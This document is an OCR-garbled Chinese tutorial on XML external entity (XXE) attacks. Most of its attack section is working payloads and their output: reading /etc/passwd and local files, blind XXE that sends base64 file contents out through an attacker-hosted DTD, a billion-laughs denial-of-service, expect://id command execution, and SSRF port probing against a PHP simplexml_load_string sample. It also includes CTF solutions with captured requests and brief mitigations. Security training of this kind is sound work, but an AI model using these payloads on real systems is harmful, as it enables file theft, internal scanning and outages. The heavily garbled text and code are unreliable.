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<IENTITY entityname SYSTEM "file:///etc/passwd">

>&entityname</ >
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<?xml version = "1.0" encoding = "utf-8"?>
<IDOCTYPE test [

<IENTITY writer "Dawn">

<IENTITY copyright "Copyright W3School.com.cn">
1>

<test>&writer;Oright;</test>

2. SRRk B

<!ENTITY SEfA4&# SYSTEM "URI/URL">
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Scheme Extension Required
https openssl
ftps
zip zip
ssh2.shell ssh?2
ssh2.exec
ssh2.tunnel
ssh2.sftp
ssh2.scp
rar rar
0gg oggvorbis
expect expect
il

<?xml version = "1.0" encoding = "utf-8"?>

<!DOCTYPE test [
<!IENTITY file SYSTEM "file:///etc/passwd">
<IENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

1>
<author>&file;@right;</author>
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<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">

1>

<abc>&test;</abc>

HEIDTDICH 3| ASMEDTDICH, 3| SIS, XML T

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
<abc>&bj;</abe>

evil.dtdN & :

<IENTITY b SYSTEM "file:///etc/passwd">

B DTDAMR LR B 5| NS ERSe A BB . XMLA AT

<?xml version="1.0"?>
<IDOCTYPE a [
<IENTITY % d SYSTEM "http://localhost/evil.dtd">
%d;
1>

<abc>&bj;</abe>

evil.dtd N % :

<IENTITY b SYSTEM "file:///etc/passwd">

B 4 SRABE T 4 7 B R T BARY -

<?xml version="1.0"?>
<IDOCTYPE a [
<IENTITY d SYSTEM "http://localhost/evil.xml">

1>

<abc>&d;</abc>
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<?xml version="1.0"?>

<!DOCTYPE a [

<IENTITY % file SYSTEM "file:///c://test/1.txt">
<IENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd; %all;

1>

<abc>&send;</abc>

Hrpevilxmlist R B AN

<IENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">

WHEREN: S ikdtdil s R ikevilxml, RJE XGARSHsEkall, #3%5H A 2ksend.

% —Fh T[] B payload 5 ¥2::

<?xml version="1.0"?>
<IDOCTYPE a [
<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">

<IENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd;
%send;

1>

<abc></abc>

Hrevilxmist RN ER:

<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
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<?php

$xml = simplexml_load_string($_REQUEST['xml']);
echo "<pre>" ;
print_r($xml);//FERHZiE R T E B 15 R

?>
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<?xml version="1.0"?>

<!DOCTYPE ANY [

<!IENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
1>

<abc>&test;</abc>

SimpleXMLElement Object
(
[test] => SimpleXMLElement Object
(
[test] => admin::password!
test: :passwd!
)

G O=Eg DeEws OmEE (atees Cow O = W8 S &F @ Hackar

Encryption ~ Encoding = Other -

gl Load URL http://localhostitest/xxe. php?xml=<?xml version="1.0"?>

— <IDOCTYPE ANY [

& SpRURL <IENTITY test SYSTEM "file://E://phpStudy/PHP Tutorial IWWWW/etc/passwd.txt">
») Execute 52

<abc>%26test;</abc>

AR FphpStudy, FIFHapache H HEid#HEBRS . JLERFELER, 7 LABHETE K% D)EER
%55,

<?xml version="1.0"?>
<!DOCTYPE a [
<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/pa

<IENTITY % dtd SYSTEM "http://localhost/evil.xml">
%dtd;

%send;

1>

<abc></abc>

AR AR 55 2% evil xmI A BN

<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;
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I Warning: simplexml_load_string{): http://flocalhost/?content = YWRtaWAE0nBhe3N3b3JkIQ0KAGVzdDobcGFze 3dkIQ = =1 parser error : internal error in
EX\phpStudy\PHPTutorial\WWWtest\xxe.php an line 2

Warning: simplexml_load string(): <!DOCTYPE HTML PUBLIC *-/AW3C//DTD HTML 3.2 Final//EN"> in E\phpStudy\PHPTutorial\WWWtest\xxe.php
online 2

Warning: simplexml_load_string(): * in E\phpStudy\PHPTutorialWWWhtest\aoe.php on line 2
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YWRtaW460nBhc3N3b3JkIQ0KAGVzdDo6cGFzc3dkIQ==Base64fErgRIH],
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<?xml version="1.0"?>

<IDOCTYPE lolz [

<IENTITY lol "lol">

<IENTITY lol2 "&lol;&lol;&lol;&lol;&l0l1;&1l01;&1l0l1;&10l1;&1l0l1;&1l0l;">

<!ENTITY lol3 "&lol2;&l012;&1012;&1012;&1012;&1012;&1012;&1012;&1012;&1012;">
<!ENTITY lol4 "&lol3;&l0l3;&1013;&1013;&1013;&1013;&1013;&1013;&1013;&1013;">
<IENTITY lol5 "&lol4;&1014;&1014;&1014;&1014;&1014;&1014;&1014;&1014;&1014;">
<IENTITY lol6 "&lol5;&lo0l5;&1015;&1015;&1015;&1015;&1015;&1015;&1015;&1015;">
<IENTITY lol7 "&1016;&1016;&1016;&1016;&1016;&1016;8&1016;&1016;&1016;&1016;">
<IENTITY lol8 "&lo0l7;&l017;&l017;&1017;&1017;&1017;&1017;8&1017;&1017;&1017;">
<IENTITY lol9 "&l0l1l8;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;">
1>

<lolz>&lol9;</lolz>

-
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<?xml version="1.0"?>
<!DOCTYPE ANY [
<!IENTITY test SYSTEM "expect://id">

1>

<abc>&test;</abc>

BRI R % A expectl R IPHPI 8 LT R &, HAh Pt 7T 6EA LRI .
faFE4AME B ERN


https://en.wikipedia.org/wiki/Billion_laughs_attack

F A httptir il http://url/file.ext, & #HbrvEpocH #H R #84 BI A X Fp & AL LA B, IR IE A B xmlfig i 2% =15
FIARE R B BIREE LR

H B BN

<?xml version="1.0"?>

<!DOCTYPE ANY [

<IENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">
1>

<abc>&test;</abc>

L DT, 803 M«

Warning: simplexm| _load string(): hitp://127.0.0.1:80/ Teparser error : StartTag: invalid element nami@ IrcE:\phpStudy\PHPTutoria\WWWhtest
exe.php on line 2

Warmning: simplexm|_load_string(): <!DOCTYPE HTWML PUBLIC *-//MW3C//DTD HTML 3.2 Final//EN"> in E:\phpStudy\PHPTumrial\WWW\test\ne,php
an line 2

Warning: simplexm|_load string(): * in E\phpStudy\PHPTutorial\WWWitest\xxe.php on line 2

I OEEE DM OEE (jedans Cos OmF = B8 B eE P Hadse =
Encryption » Encoding ~  Other = HackBar w1
a Load URL hitp:ifocalhositestiorn. phpTmi=<?xml version="1,0"7>
= ADOCTYPE ANY [
& Spw e ENTITY test SYSTEM "haip:/127.0.0, >
»} Execuie il

“abe>%2Glest </abc>

L HORFF, n81m H:
[ ‘Warning: simplexml_|oad _string{http/127.0.0.1:81/): in E\phpStudy\PHPTutorial\WWWhtest\xxe.php on line 2

Warning: simplexml_|oad _string{)c 1/2 warning : failed to load external entity “http//127.0.0.1:81/" in E\phpStudy\PHPTutorialWWWtest\uxe.php
on line 2

SimpledMLElemant Object
[
[test] =» SimpleXMLElement Object
{

G Oess Daws DEdE (loduas Gnuw OrF B8 S 5@ @ Hakba =
3
Encryplion = Encoding ~ Other = HaekBar vi
) Lo L hittp:itocalhostiestioe phpfomi=<Temil version="1.077>
= <IDOCTYPE ANY |
PR e <IENTITY test SYSTEM “hitpai127 G.D_!@
o, Execuse ]:‘

<@inC>¥ 25l st <fabc

To Bl B M :

<?xml version="1.0"?>

<!DOCTYPE a [

<IENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">
<IENTITY % dtd SYSTEM "http://localhost/evil.xml">

%dtd;

%send;

1>

<abc></abc>

AR AR 55 4 evil xmI A BN

<IENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=¥file;'>"> %payload;

M H BB .
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Warning: simplexml_load _string{): http://localhast
feontent=PCFETONUWVEFIENUTUwgURVCTEIDICILyS XMOMLORURCEIVE 1 MIDMuMiBGaWShbCavRU4iPgoBaH RtbDAKI DxoZWFkPgogl DxlaXRsZT S br
in E\phpStudy\PHPTutorial\WWWhtest\xxe.php on line 2

Warning: simplexm| _load string(): <!DOCTYRE HTML PUBLIC °-/AW3C//DTD HTML 3.2 Final/f/EN" > in E:\phpStudy\PHPTutorial \WWW\test\xxe php
onling®

Qe

Waming: simplexml load string(): in E\phpStudy\PHPTutorial\WWWhtest\xxe.php on line 2

Warning: simplexml_load_string(php://ffilter/convert.basef4-encode/resource=http(127.0.0.1:81/): failed to open stream: operation failed in
E:\phpStudy\PHPTutorial\WWWhtest\xxe.php on line 2

Warning: simplexml_load_string(): http://localhost/evilxml:1: IfO warning : failed to load external entity "php//filter/convert basetd-encode
fresource=http/f127.0.0.1:81/" in E:\phpStudy\PHPTutorial \WWWtest'\acxe.php on line 2
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H Tl SE AR N By 1 CAR A http: /i, st AT UK Ehttpif K. AT AR ZiE R EREN M, #H1TSSRF
Wikt o

CTF&H
FENRACTFer, FIUAELAPECTFER, EMREAEMILH.

JarvisOJ—apiifi fi

& LIRS B ARl 8% /home/ctfiflag.txtHF i flagE -

B HEANO: http://web.jarvisoj.com:9882/

function XHR()
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3. XMLHTTP", "Msxml2. XMLHTTP”, "Microsoft. XMLHTTP"] ;
for (var i=0, len=IEXHRVers. length;i< len;i++) |
try {xhr = new ActiveXObject (IEXHRVers[i]);}
catch(e) {continue;}
}
}

return xhr;

}

function send() {
evil_input = document. getElementById("evil-input”). value;
var xhr = XHR();
xhr. open ("post”, "/api/v1. 0/try”, true);
xhr. onreadystatechange = function () {
if (xhr. readyState==4 && xhr. status==201) {
data = JSON. parse (xhr. responseText) ;

tip _area = document. getElementById("tip-area”) ;

tip_area. value = data. task. search*data. task. value;
}
1.
I
xhr. setRequestHeader ("Content-Type”, “application/json”) ;
xhr. send (" {"search”:"" +evil_input+ ”, "value”:"own”}"):

1
+

b st e B L
JM Params | Headers | Hex | |h|| Headers LHax

POST fapitvl Oitry HTTPA .1 3 HTTP/M.0 201 CREATED

Host: web.janviso). com: 9882 Content-Type: applicationfson
User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWS4; ne61.0) Gecko/20100101 Content-Length: B6

Firefox/B1.0 Semver. Werkzeug/0.9.4 Python/2.7.6
Accept: *f* Date: Tue, 14 Aug 2018 08:07:28 GMT
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2

Accept-Encoding: gzip, deflate {

Refarer. http:/fweb. jarviso). com: 9882/ “task™ {

Content-Type: application/json "dona”; falsa,

Content-Length; 36 "search™ "type sthl”,

Cookie 1 "value™ "own”

UM _distinctid=16507 966cd cb-05537611236b668- 1269624 a-144000-16507 9662307, }
role=s%3A5%3A%22guest %22%3B, heh=3ad727d57 46311 22833d9e73204dadel )

Connection: close

{"search”:"type sthl” "value™ "own"}

TR RE R P, ERERIMERRAAR. XNMRENERGEEREIER, fFEBENMER A
KRR TAF R, BROERE, KANEESHEHMARZ KRR, &E, MERXXE,

XEMHE, BN Zjsontg i, Kk B ATE S Content-Typel{E Aapplication/xml, R J54E Axmift
9.


http://web.jarvisoj.com:9882/

<?xml version="1.0"?>
<!DOCTYPE a[
<IENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>

<abc>&xxej;</abc>
! Burp Suite Professional v1.7.30 - Temporary Project - licensed to Larry_Lau - o x
Burp Intruder Repeater Window Help
| Geo Cancel | < |v | Target: hitp:iweb, jarviso).com: 9882 L-f, L_?J
Reguest Response
POST fapivl Oitey HTTPH 1 | HTTR.0 200 0K [
Haost: wab jardsoj com: 9882 1 Caontent-Typa: taxt/miml; charset=utlB 1
User-Agera: MozillaS 0 (Windews NT 10.0; WOWE4, reB1.0) Gecka20100101 Caontent-Length: 42
Firefori1.0 Senver. Werkzeug 9.4 Python2 7.6
Accepl: ™ Dater Tue, 14 Aug 2018 08 2211 GMT
Accapt-Language: zh-CH zh gm0 8 zh-TW, qu0. 7 _zh-HI q=0 5 an-UI5;q=0. 3 &n;q=0.2
Accepl-Encodng: gop, deflate <abe>CTR{XxE_15_n0T_STrange_Enough}
Refarar hitp-ifweb janssoj com SEE2/ <fabc>
Content-Type: application/sml
Contént-Length: 105
Conkie
UM _distinctid=16507 bo66c 4 cb-0853761 1 2360888 1 2696.245- 1 44000- 16507 h36E6 2207
role=s%IAEN A %I quest %l %38, hah=3ad7T 27 d5TS6 122003497120 odel
Connechion: closs
<Faml varsion="1 077>
<IDOCTYPE a|
<IENTITY xxe SYSTEM e ihomalctifag ta™>|>
wgbp=bung <fabos
- -
v v
? € || == Tvpe a search fem 0 matches ? || % || > Tvoe a search e 0 matches
Done 195 bytes | 53 millis

DDCTF—E#fJava & T

hitp://116.85.48.104:5036/gd5Jq3XoKvGKqustiH2p/

Bon: FoBERENARAES82.3.1

WS B S, BHTEARARLG, FRMTARRERRAIRIEZET .
HEZEERERERLHIL.
DDCTF2018 WEBS6 Mg tfJavai® & T WRITEUP — LZ1Y

DDCTF 2018 Web Writeup —— [ 100% & BB 35 %
LR
TS AT XXETRTR P4 — YRR S OB XKEWR T, 3 BT BAJR B — R 0 bR i i 5 0 & .

LRSI R A8, B docx 4 iword/document.xml, ¥RINDTDAISZ/&S| A, BPAfkk, A48
A % R I Word XY .

1. [WooYun-2014-73321 (M B HRFEFAXXERERSCHE) 1 (http://www.anquan.us/static/bugs/wooyun-2014-073321.ht

2. [WooYun-2014-73439 (QQEBAEXXEF LBUERE X)) ] (http://www.anquan.us/static/bugs/wooyun-2014-073439.html
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http://www.lz1y.cn/archives/1403.html
https://www.secpulse.com/archives/71113.html
http://bbs.ichunqiu.com/forum-41-1.html
http://seclists.org/fulldisclosure/2018/Jul/3
http://www.freebuf.com/vuls/176837.html

BHEABPOST XMLEE . £ #2 E1#E simplexml_load_string() A POST #ER K BE . AT FR&F 5 B
XML Bt E 5| fRER .

1. [WooYun-2015-109725 (H@IEAXXEWRIF A EERE B/ERIMH) 1(http://www.anquan.us/static/bugs/wooyun-2015-

XMLAL# T &
WooYun-2014-59911 CAAIFFIE B 9 3 XXE SRR 2 L ufishell) # X ALXML.
WooYun-2015-134057 (H EHF &Blind XXE¥s A& Bool & SSRFK#i) XML& TR .

3. WooYun-2015-135397 (4 45:F & Blind XXE IR i (3B 4/SSRF/Struts 247 4-$447) XML ZE T .

WooYun-2014-58381 (FH ERINEEXMLEEAAIEN) ZThRE Mt ftsvgHjpgikss, &G R Prevg STAHE
Ao

WooYun-2014-59783 (H EREINEEXMLELAEN (2D ) EF—REEE R TENTITYXAME, DTD
B HSCR A SMRKIDTDIC M, FH BT A 7 ZEsvg B n— AN IDTDEL SR T .

WooYun-2014-74069 (#RMRSSF ABlind XXE¥RIH ) FAOPMLIC 4.

WooYun-2015-111828 (8% fE S ARXXER] FEAER /) BEBKTIRE, FAXML.
WooYun-2015-117316 (AN T3 B E B S A XXER R ) B b5 B B %A i XML S 20 -
WooYun-2015-148793 (AOL Website XML External Entity(XXE) Vulnerability) xmlirpc service.
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PHP

libxml disable entity loader (true);

JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance()
dbf.setExpandEntityReferences (false);

Python

from lxml import etree xmlData =

etree.parse (xmlSource,etree.XMLParser (resolve entities=False))

if g8 F PR A X MLE R

Ty RERE: <! DOCTYPEM<!ENTITY, BRFSYSTEMMPUBLIC.
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